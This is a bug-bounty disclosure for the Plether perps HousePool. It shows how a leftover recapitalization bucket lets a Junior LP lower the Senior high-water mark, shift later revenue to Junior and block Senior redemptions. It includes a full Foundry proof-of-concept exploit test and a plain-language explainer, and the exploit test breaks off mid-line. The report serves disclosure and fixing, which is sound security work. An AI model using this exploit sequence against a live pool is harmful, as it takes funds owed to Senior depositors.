LP can erase Senior restoration entitlement after a deficit recapitalization due to the residual recapitalization bucket being re-settled against restored Senior principal
After an owner recapitalization of a pool with a trader-claim deficit, the part of the inflow that paid the deficit stays in the pending recapitalization bucket with no cash behind it. Each later reconcile re-settles that residual against the Senior principal the recapitalization already restored, so a Junior holder can repeatedly trigger settlements to lower the Senior high-water mark and redirect later revenue to Junior, and Senior redemptions are temporarily blocked.
- Disclosed after under an hour
#98828 [SC-High] LP can erase Senior restoration entitlement after a deficit recapitalization due to the residual recapitalization bucket being re-settled against restored Senior principal
Submitted on Nov 10th 2026 at 12:57:12 UTC by @midkernel for Audit Competition | Plether
- Report ID: #98828
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Contract fails to deliver promised returns, but doesn't lose value
Description
Brief/Intro
When the owner uses the documented recovery action CfdEngine.recapitalizePool on a HousePool whose trader claims exceed its cash, the part of the recapitalization that pays the deficit stays in pendingRecapitalizationAssets with no cash behind it. Every later reconcile treats that residual as a fresh inflow and settles it against the Senior principal the recapitalization already restored. Any LP who can make settleLpEpoch progress (a Junior holder with a zero-value redemption request is enough) can repeat this until the Senior high-water mark is reset to a smaller value, after which pool revenue that should restore Senior principal is credited to Junior holders. While the residual exceeds pool cash it is also reserved from LP free cash, so matured Senior redemptions cannot be funded even though every remaining unit of pool cash backs Senior principal. The redemption block ends when the residual is drained or the owner adds more funds. The loss of Senior restoration priority is not reversed by any later action.
Vulnerability Details
Affected revision: immunefi-team/audit-comp-plether at a82d4fefb02768e5b3bddcc97dee371eee24fea8, files packages/perps/src/HousePool.sol, packages/perps/src/libraries/HousePoolReconcilePlanLib.sol and packages/perps/src/libraries/HousePoolPendingPreviewLib.sol. The entry point CfdEngine.recapitalizePool was added after the last external audit revision (CfdEngine.sol#L632-L653).
Expected behavior. SECURITY.md documents owner-funded recapitalization as the recovery action: the engine records Recapitalization with CashArrived and "the pool queues claimant allocation for normal reconciliation" (SECURITY.md#L155-L162). ACCOUNTING_SPEC.md states the waterfall rules: "Losses do not reduce the Senior high-water mark", surplus is routed "first to restore Senior principal to its high-water mark, then to Junior", and reserving pending claimant buckets "prevents counting the same inflow twice" (ACCOUNTING_SPEC.md#L332-L340).
Actual behavior, source evidence. Let R be the recapitalization, D the trader-claim deficit before it (D < R), and E = R - D the LP equity (pool cash after the claims are paid).
-
recordClaimantInflowadds the fullRtopendingRecapitalizationAssets. Nothing reduces the bucket whenDof that cash pays trader claims. -
_reconcilecaps the settleable bucket by total LP equity, which includes equity already assigned to Senior by an earlier pass (HousePool.sol#L1829-L1834, HousePoolPendingPreviewLib.sol#L72-L82). -
planReconcilesubtracts the settleable amount from distributable equity before the waterfall, so the same equity is first charged as a loss against existing principal (HousePoolReconcilePlanLib.sol#L68-L71, HousePoolReconcilePlanLib.sol#L103):
if (pendingBucketAssets > 0) {
snapshot.distributable =
snapshot.distributable > pendingBucketAssets ? snapshot.distributable - pendingBucketAssets : 0;
}
- The recapitalization intent is then applied. When the loss in step 3 has reduced both principals to zero, the bootstrap branch runs again and overwrites the high-water mark with the remaining bucket, which is now smaller than the value set by the first pass (HousePoolPendingPreviewLib.sol#L117-L122):
if (state.waterfall.seniorPrincipal == 0 && state.waterfall.juniorPrincipal == 0) {
state.waterfall.seniorPrincipal += remaining;
state.waterfall.seniorHighWaterMark =
recapitalizationTargetAssets > remaining ? recapitalizationTargetAssets : remaining;
remaining = 0;
}
Resulting sequence with no value entering or leaving the pool:
- Pass 1: Senior principal becomes
E, the high-water mark becomesR(the full intent), and the bucket keeps a residual ofD. - Pass 2, when
D >= E: the settleable part isE, the waterfall sees zero equity and chargesEas a loss, Senior principal reaches zero, the bootstrap branch restores it toEand resets the high-water mark toD. The residual becomesD - E. - Later passes drain the rest of the residual against the same principal. The high-water mark stays at the reduced value.
The Senior restoration entitlement (high-water mark minus principal) therefore falls from D to D - E although no loss occurred. The same erosion occurs when D < E if a Senior redemption is funded between passes, because the funded redemption lowers principal to the residual and the next pass zeroes it (second proof test).
- The residual is also subtracted from LP free cash on every settlement (HousePool.sol#L842-L848, HousePool.sol#L1727-L1735). While the residual is at least the pool cash, the Senior budget is zero,
settleLpEpochrevertsHousePool__NoLpEpochProgress(HousePool.sol#L1183-L1185), and the revert also discards the reconcile, so the state cannot advance through a Senior redemption alone.
Persisting a pass needs only a settlement that makes progress. settleLpEpoch is permissionless when there are no open positions, and a matured Junior redemption whose quote is zero is processed as a refund epoch, which counts as progress (HousePool.sol#L960-L986). A holder of wiped Junior shares can therefore persist one pass per redemption request.
Failed properties. A recapitalization inflow is counted against LP equity more than once, the Senior high-water mark is reduced without a governance action, and surplus is routed to Junior while Senior is below the high-water mark the recapitalization established.
Prerequisites, all present in the proof:
- The pool has a terminal deficit: trader claims exceed pool cash.
WHITEPAPER.mdsection 2.3 describes this tail state, and recapitalization is the documented recovery for it. - The owner calls
recapitalizePoolwith an amount larger than the deficit, clears degraded mode, and the claims are paid. This is the documented procedure and involves no misconfiguration. - Senior shares exist. For the redirection, Junior shares exist.
Relation to documented behavior. The response to prior finding MED-12 says that "partial-settlement residuals stay reserved". That statement covers a reservation whose cash is still in the pool. It does not describe a residual whose cash has been paid to trader claims, its repeated settlement against existing principal, or the high-water mark reset. The release tests for recapitalization cover pools without trader claims, where the whole inflow lands in LP equity in one pass.
Impact Details
Selected impact: "Contract fails to deliver promised returns, but doesn't lose value" (Low).
Demonstrated consequences on the pinned release (mock settlement token, 6 decimals, $0 actual value; figures are test units):
- Senior restoration priority is not delivered. In the third proof test the recapitalization is 150,000 units and the deficit 99,840 units. After the first settlement Senior principal is 50,160 and the high-water mark 150,000. Three permissionless settlements by a holder of wiped Junior shares, with no value entering or leaving the pool, leave Senior principal at 50,160 and the high-water mark at 99,840. When 99,840 units of pool value then arrive, Senior receives 49,680 and Junior holders receive 50,160. In the control run without the intermediate settlements, Senior receives all 99,840 and Junior receives nothing.
- The second proof test reaches the same outcome with ordinary Senior redemption settlements and a 300,000 unit recapitalization: 50,000 units of later value are credited 49,820 to Junior, against zero in the control.
- Senior redemptions are blocked. In the first proof test (200,000 unit recapitalization, 129,840 unit deficit) the pool holds 70,160 units, all of it projected Senior principal, with no positions, claims, pause or degraded mode.
getFreeAssets()is zero and a matured Senior redemption cannot be funded;settleLpEpochstill reverts 25 hours later.
Existing Senior principal is not reduced; what is lost is the restoration that the waterfall and the recapitalization promise. The redemption block is temporary: it ends once enough settlements with progress have drained the residual, once new pool value exceeds the residual, or when the owner adds funds. No owner function clears the residual directly.
The finding requires a prior terminal deficit and an owner recapitalization. Both are documented protocol states and procedures, and the owner action is used as documented. The program lists a legitimate trusted-role action that triggers a bug harming users as in scope.
References
- Recapitalization entry point: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/CfdEngine.sol#L632-L653
- Reconcile body: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol#L1555-L1599
- Settleable bucket cap: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol#L1829-L1834
- Pre-waterfall subtraction and loss: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/libraries/HousePoolReconcilePlanLib.sol#L68-L103
- High-water mark reset: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/libraries/HousePoolPendingPreviewLib.sol#L111-L122
- Free-cash reservation: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol#L1727-L1735
- Waterfall rules: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/ACCOUNTING_SPEC.md#L332-L340
- Recapitalization routing: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/ACCOUNTING_SPEC.md#L639-L643
- Owner-funded recapitalization: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/SECURITY.md#L155-L162
- Program: https://immunefi.com/audit-competition/plether/
Proof of Concept
Proof of Concept
- HousePool reaches a terminal deficit: after a LONG and a SHORT position realize their profits at opposite ends of the price range, trader claims exceed pool cash and LP equity is zero.
- Owner calls
CfdEngine.recapitalizePoolwith an amount larger than the deficit and thenCfdEngine.clearDegradedMode. - Trader calls
CfdEngine.settleTraderClaimand is paid in full. The pool now holds the recapitalization surplus, has no positions and no claims, and is neither paused nor degraded.pendingRecapitalizationAssetsstill equals the full recapitalization. - Junior LP, whose shares are worth zero, calls
TrancheVault.requestRedeemon the Junior vault for all shares and, after the epoch matures, callsHousePool.settleLpEpoch(0, 0). The zero-value request is processed as a refund epoch, the settlement succeeds, and the reconcile persists: Senior principal equals the surplus, the Senior high-water mark equals the full recapitalization, and the pending bucket keeps a residual equal to the deficit. - Junior LP repeats step 4 from a second address. HousePool settles the residual against the Senior principal restored in step 4: the waterfall charges it as a loss, Senior principal reaches zero, the bootstrap branch restores it and resets the high-water mark to the residual amount.
- Junior LP repeats step 4 from a third address. The residual reaches zero. Pool cash and Senior principal are unchanged since step 4, and the high-water mark is lower by the surplus amount.
- New pool value equal to the deficit arrives. HousePool restores Senior only up to the reduced high-water mark and credits the rest to Junior principal. In the control run, where the same value arrives without steps 4 to 6, all of it restores Senior and Junior receives nothing.
- Senior LP (separate run, larger deficit relative to the recapitalization): requests redemption of all shares after step 3.
HousePool.settleLpEpoch(0, 0)revertsHousePool__NoLpEpochProgressimmediately and again 25 hours later, although all pool cash is projected Senior principal.
The complete proof source is one Foundry test file.
packages/perps/test/poc-recap-residual/RecapResidual.t.sol
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {console2} from "forge-std/console2.sol";
/// @notice `CfdEngine.recapitalizePool` into a pool whose LP equity was wiped by a trader-claim deficit.
/// @dev The part of the recapitalization that is consumed by the deficit stays in `pendingRecapitalizationAssets`
/// as a "residual". That residual is (a) reserved 1:1 from LP free cash although the cash no longer exists and
/// (b) re-settled against already-assigned senior principal on every later reconcile.
/// The insolvency is produced with the WHITEPAPER 2.3 sequential path (both sides realise their profit at
/// opposite ends of the price range). Engine entry uses the repo's own BasePerpTest `_open/_close` helpers.
contract RecapResidualTest is BasePerpTest {
address internal constant TRADER_LONG = address(0xA11CE);
address internal constant TRADER_SHORT = address(0xB0B);
address internal constant TRADER_SMALL = address(0xC0C0);
address internal constant SENIOR_LP = address(0x5E1107);
address internal constant JUNIOR_ATTACKER_1 = address(0x7001);
address internal constant JUNIOR_ATTACKER_2 = address(0x7002);
address internal constant JUNIOR_ATTACKER_3 = address(0x7003);
bool internal fundJuniorAttackers;
uint256 internal constant SIZE = 200_000e18;
uint256 internal constant MARGIN = 200_000e6;
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 0;
}
function _initialJuniorSeedDeposit() internal pure override returns (uint256) {
return 100_000e6;
}
function _initialSeniorSeedDeposit() internal pure override returns (uint256) {
return 100_000e6;
}
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory params) {
params = super._riskParams();
// Governance-allowed maximum (CfdEngineAdmin: maxSkewRatio <= 1e18); only lets one hedged pair fill the pool.
params.maxSkewRatio = 1e18;
}
function _tick() internal {
vm.warp(vm.getBlockTimestamp() + 1);
}
function _log(
string memory tag
) internal view {
(uint256 sP, uint256 jP, uint256 maxS, uint256 maxJ) = pool.getPendingTrancheState();
console2.log(tag);
console2.log(" pool cash ", pool.totalAssets());
console2.log(" stored senior principal ", pool.seniorPrincipal());
console2.log(" stored senior HWM ", pool.seniorHighWaterMark());
console2.log(" stored junior principal ", pool.juniorPrincipal());
console2.log(" pending recapitalization", pool.pendingRecapitalizationAssets());
console2.log(" unassigned ", pool.unassignedAssets());
console2.log(" projected senior ", sP);
console2.log(" projected junior ", jP);
console2.log(" projected max senior wd ", maxS);
console2.log(" projected max junior wd ", maxJ);
console2.log(" getFreeAssets ", pool.getFreeAssets());
}
/// @dev Senior LP joins, a hedged pair is opened, both legs realise ~95% of max profit at opposite extremes,
/// the second profit becomes a trader claim larger than pool cash (terminal deficit, LPs wiped).
/// The owner then recapitalizes, clears degraded mode, and the claimant is paid in full.
function _insolvencyThenRecap(
uint256 recapAssets
) internal returns (uint256 deficitAssets) {
_fundSenior(SENIOR_LP, 50_000e6);
if (fundJuniorAttackers) {
// Ordinary junior LP positions held before the insolvency event (three addresses of one actor).
_fundJunior(JUNIOR_ATTACKER_1, 10_000e6);
_fundJunior(JUNIOR_ATTACKER_2, 10_000e6);
_fundJunior(JUNIOR_ATTACKER_3, 10_000e6);
}
_fundTrader(TRADER_LONG, 210_000e6);
_fundTrader(TRADER_SHORT, 210_000e6);
_tick();
_open(TRADER_LONG, CfdTypes.Side.LONG, SIZE, MARGIN, 1e8);
_tick();
_open(TRADER_SHORT, CfdTypes.Side.SHORT, SIZE, MARGIN, 1e8);
// Price collapses: LONG realises ~190k, paid from pool cash. SHORT stays open (fully collateralised).
_tick();
_close(TRADER_LONG, CfdTypes.Side.LONG, SIZE, 0.05e8);
assertTrue(engine.degradedMode(), "close left E < L: degraded mode latched");
// Price traverses to the other extreme: SHORT realises ~190k which the pool cannot pay => trader claim.
_tick();
_close(TRADER_SHORT, CfdTypes.Side.SHORT, SIZE, 1.95e8);
uint256 claims = engine.totalTraderClaimBalanceAssets();
uint256 cash = pool.totalAssets();
assertGt(claims, cash, "terminal deficit: trader claims exceed pool cash");
deficitAssets = claims - cash;
console2.log("deficit before recap ", deficitAssets);
// Documented trusted recovery (SECURITY.md 'Owner-funded recapitalization').
settlementToken.mint(address(this), recapAssets);
settlementToken.approve(address(engine), recapAssets);
engine.recapitalizePool(recapAssets);
engine.clearDegradedMode();
vm.prank(TRADER_SHORT);
engine.settleTraderClaim(TRADER_SHORT);
assertEq(engine.totalTraderClaimBalanceAssets(), 0, "all trader claims paid");
assertFalse(engine.degradedMode(), "not degraded");
assertFalse(pool.paused(), "not paused");
assertFalse(pool.lpEpochSettlementPaused(), "no settlement hold");
(uint256 longMaxProfit,,,) = engine.sides(0);
(uint256 shortMaxProfit,,,) = engine.sides(1);
assertEq(longMaxProfit + shortMaxProfit, 0, "no open max-profit liability");
}
function _requestSeniorRedeemAll() internal returns (uint256 requestId) {
vm.warp(vm.getBlockTimestamp() + 2 hours);
uint256 shares = seniorVault.balanceOf(SENIOR_LP);
assertGt(shares, 0, "senior LP holds shares");
vm.startPrank(SENIOR_LP);
requestId = seniorVault.requestRedeem(shares, SENIOR_LP, SENIOR_LP);
vm.stopPrank();
vm.warp(pool.lpEpochStart(requestId) + 1);
}
/// @notice A: after recapitalization every remaining pool dollar backs projected senior principal, there are no
/// positions, claims, pauses or degraded mode, yet senior redemptions cannot be funded for > 24h because
/// the deficit-consumed part of the recapitalization is still reserved from free cash.
function test_A_recapResidualFreezesSeniorRedemptions() public {
uint256 recap = 200_000e6;
uint256 deficit = _insolvencyThenRecap(recap);
assertGt(deficit, recap / 2, "scenario: deficit above half of the recapitalization");
assertLt(deficit, recap, "scenario: recapitalization exceeds the deficit");
_log("after recap + claim payment");
uint256 cash = pool.totalAssets();
(uint256 projectedSenior,, uint256 maxSeniorWithdraw,) = pool.getPendingTrancheState();
assertEq(cash, recap - deficit, "pool cash is exactly the recapitalization surplus");
assertEq(projectedSenior, cash, "all remaining cash is projected senior principal");
assertEq(maxSeniorWithdraw, 0, "but none of it is withdrawable");
assertEq(pool.getFreeAssets(), 0, "free cash is zero with no liabilities outstanding");
uint256 requestId = _requestSeniorRedeemAll();
vm.expectRevert(IHousePool.HousePool__NoLpEpochProgress.selector);
pool.settleLpEpoch(0, 0);
vm.warp(vm.getBlockTimestamp() + 25 hours);
vm.expectRevert(IHousePool.HousePool__NoLpEpochProgress.selector);
pool.settleLpEpoch(0, 0);
(projectedSenior,, maxSeniorWithdraw,) = pool.getPendingTrancheState();
assertEq(projectedSenior, cash, "senior principal still fully backed by idle cash after 25h");
assertEq(maxSeniorWithdraw, 0, "still frozen");
assertEq(seniorVault.claimableRedeemAssets(requestId, SENIOR_LP), 0, "LP received nothing");
}
/// @notice B: production settlement path. Two permissionless `settleLpEpoch` calls driven by an ordinary senior
/// redemption, with only a tiny LP loss in between, erase the senior restoration entitlement; identical
/// later revenue is then credited to junior holders instead of restoring senior.
function test_B_ordinaryRedemptionSettlementsEraseSeniorEntitlement() public {
uint256 recap = 300_000e6;
uint256 deficit = _insolvencyThenRecap(recap);
assertLt(deficit, recap / 2, "scenario: free cash remains after reserving the residual");
_requestSeniorRedeemAll();
pool.settleLpEpoch(0, 0);
_log("settle #1 (partial senior redemption funded)");
uint256 seniorAfterFirst = pool.seniorPrincipal();
uint256 hwmAfterFirst = pool.seniorHighWaterMark();
uint256 residual = pool.pendingRecapitalizationAssets();
assertGt(residual, 0, "residual recapitalization still pending");
assertGt(hwmAfterFirst, seniorAfterFirst + 50_000e6, "senior is owed a large restoration");
// Ordinary small trader profit (LP loss) between the two settlements.
_fundTrader(TRADER_SMALL, 1000e6);
_tick();
_open(TRADER_SMALL, CfdTypes.Side.LONG, 10_000e18, 500e6, 1e8);
_tick();
_close(TRADER_SMALL, CfdTypes.Side.LONG, 10_000e18, 0.99e8);
uint256 revenue = 50_000e6;
uint256 snapshot = vm.snapshotState();
// Control: revenue arrives before any further settlement => it restores senior.
settlementToken.mint(address(pool), revenue);
pool.accountExcess();
(uint256 controlSenior, uint256 controlJunior,,) = pool.getPendingTrancheState();
console2.log("control projected senior ", controlSenior);
console2.log("control projected junior ", controlJunior);
assertTrue(vm.revertToState(snapshot));
// Finding path: one more permissionless settlement first (same LP's remaining redemption).
vm.warp(vm.getBlockTimestamp() + 1 hours);
pool.settleLpEpoch(0, 0);
_log("settle #2");
uint256 seniorAfterSecond = pool.seniorPrincipal();
uint256 hwmAfterSecond = pool.seniorHighWaterMark();
assertLt(hwmAfterSecond - seniorAfterSecond, 1000e6, "senior restoration entitlement erased");
settlementToken.mint(address(pool), revenue);
pool.accountExcess();
(uint256 attackSenior, uint256 attackJunior,,) = pool.getPendingTrancheState();
console2.log("attack projected senior ", attackSenior);
console2.log("attack projected junior ", attackJunior);
assertEq(controlJunior, 0, "control: junior receives nothing while senior is impaired");
assertGt(attackJunior, revenue - 1000e6, "attack: junior captures the revenue owed to senior");
}
function _juniorRequestAllAndSettle(
address attacker
) internal {
uint256 shares = juniorVault.balanceOf(attacker);
vm.prank(attacker);
uint256 requestId = juniorVault.requestRedeem(shares, attacker, attacker);
vm.warp(pool.lpEpochStart(requestId) + 1);
// Permissionless: no open positions, so the cached-mark settlement route is open to anyone.
vm.prank(attacker);
pool.settleLpEpoch(0, 0);
}
/// @notice C: fully permissionless variant. A wiped junior LP uses zero-NAV junior redemption requests to
/// make `settleLpEpoch` progress three times. Each pass re-settles the residual against the senior
/// principal that the recapitalization just restored, until the senior high-water mark equals principal.
/// Revenue that the recapitalization earmarked for senior restoration is then credited to junior holders.
function test_C_juniorHolderRedirectsSeniorRestorationToJunior() public {
fundJuniorAttackers = true;
uint256 recap = 150_000e6;
uint256 deficit = _insolvencyThenRecap(recap);
uint256 cash = pool.totalAssets();
assertGt(deficit, recap / 2, "scenario: deficit above half of the recapitalization");
assertEq(cash, recap - deficit, "pool cash is the recapitalization surplus");
_log("after recap + claim payment");
vm.warp(vm.getBlockTimestamp() + 2 hours);
// Exactly the value the recapitalization still owes senior (HWM = recap, principal = recap - deficit).
uint256 revenue = deficit;
uint256 snapshot = vm.snapshotState();
// Control: the same revenue with no intermediate settlement restores senior only.
settlementToken.mint(address(pool), revenue);
pool.accountExcess();
(uint256 controlSenior, uint256 controlJunior,,) = pool.getPendingTrancheState();
console2.log("control projected senior ", controlSenior);
console2.log("control projected junior ", controlJunior);
assertEq(controlSenior, cash + revenue, "control: all value restores senior");
assertEq(controlJunior, 0, "control: junior receives nothing");
assertTrue(vm.revertToState(snapshot));
_juniorRequestAllAndSettle(JUNIOR_ATTACKER_1);
_log("attacker settle #1");
assertEq(pool.seniorPrincipal(), cash, "senior bootstrapped with the settleable part");
assertEq(pool.seniorHighWaterMark(), recap, "HWM = full recapitalization intent");
assertEq(pool.pendingRecapitalizationAssets(), deficit, "deficit-consumed part stays pending");
_juniorRequestAllAndSettle(JUNIOR_ATTACKER_2);
_log("attacker settle #2");
_juniorRequestAllAndSettle(JUNIOR_ATTACKER_3);
_log("attacker settle #3");
assertEq(pool.totalAssets(), cash, "no value entered or left the pool");
assertEq(pool.seniorPrincipal(), cash, "senior principal unchanged");
assertEq(pool.pendingRecapitalizationAssets(), 0, "residual drained without any new value");
uint256 gapAfter = pool.seniorHighWaterMark() - pool.seniorPrincipal();
assertLt(gapAfter, deficit, "senior restoration entitlement shrank with no economic event");
console2.log("senior entitlement before ", deficit);
console2.log("senior entitlement after ", gapAfter);
settlementToken.mint(address(pool), revenue);
pool.accountExcess();
(uint256 attackSenior, uint256 attackJunior,,) = pool.getPendingTrancheState();
console2.log("attack projected senior ", attackSenior);
console2.log("attack projected junior ", attackJunior);
assertEq(attackSenior, cash + gapAfter, "attack: senior only receives the eroded entitlement");
assertEq(attackJunior, revenue - gapAfter, "attack: junior holders capture the rest");
assertGt(attackJunior, 40_000e6, "attack: material re
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the pending recapitalization bucket is never reduced when part of the recapitalization cash pays trader claims, so the residual is subtracted from distributable equity and re-settled against already-restored Senior principal, resetting the high-water mark.
Impact
Senior restoration priority is not delivered and later revenue is credited to Junior, and matured Senior redemptions cannot be funded while the residual is at least the pool cash, though the block is temporary and existing Senior principal is not reduced.
What the attacker needed
Pool reaches a terminal trader-claim deficit; owner recapitalizes above the deficit; Senior shares exist; Junior shares exist for the redirection
How it was found
- Drive the pool into a terminal deficit where trader claims exceed pool cash.
- Owner calls recapitalizePool with more than the deficit, clears degraded mode, and the trader claim is paid in full.
- A Junior holder with zero-value shares requests redemption and calls settleLpEpoch, which persists a reconcile leaving a residual in the pending bucket.
- The Junior holder repeats the zero-value redemption settlement from further addresses, settling the residual against Senior principal and resetting the high-water mark.
- New pool value arrives and is credited partly to Junior because the Senior high-water mark is now lower.
- In a separate run, a Senior holder requests redemption and settleLpEpoch reverts with no progress even after 25 hours.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A pool has two groups of lenders, Senior and Junior, and a rule that new money first pays back Senior up to a remembered target before Junior gets anything. When the owner tops up the pool to cover trader losses, the code keeps a record of the whole top-up even though part of it was already spent paying traders. On later settlements that leftover record is treated as if it were new money and is charged against Senior's balance, which quietly lowers Senior's target. A Junior lender can then keep nudging settlements along so that future earnings go to Junior instead of restoring Senior.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.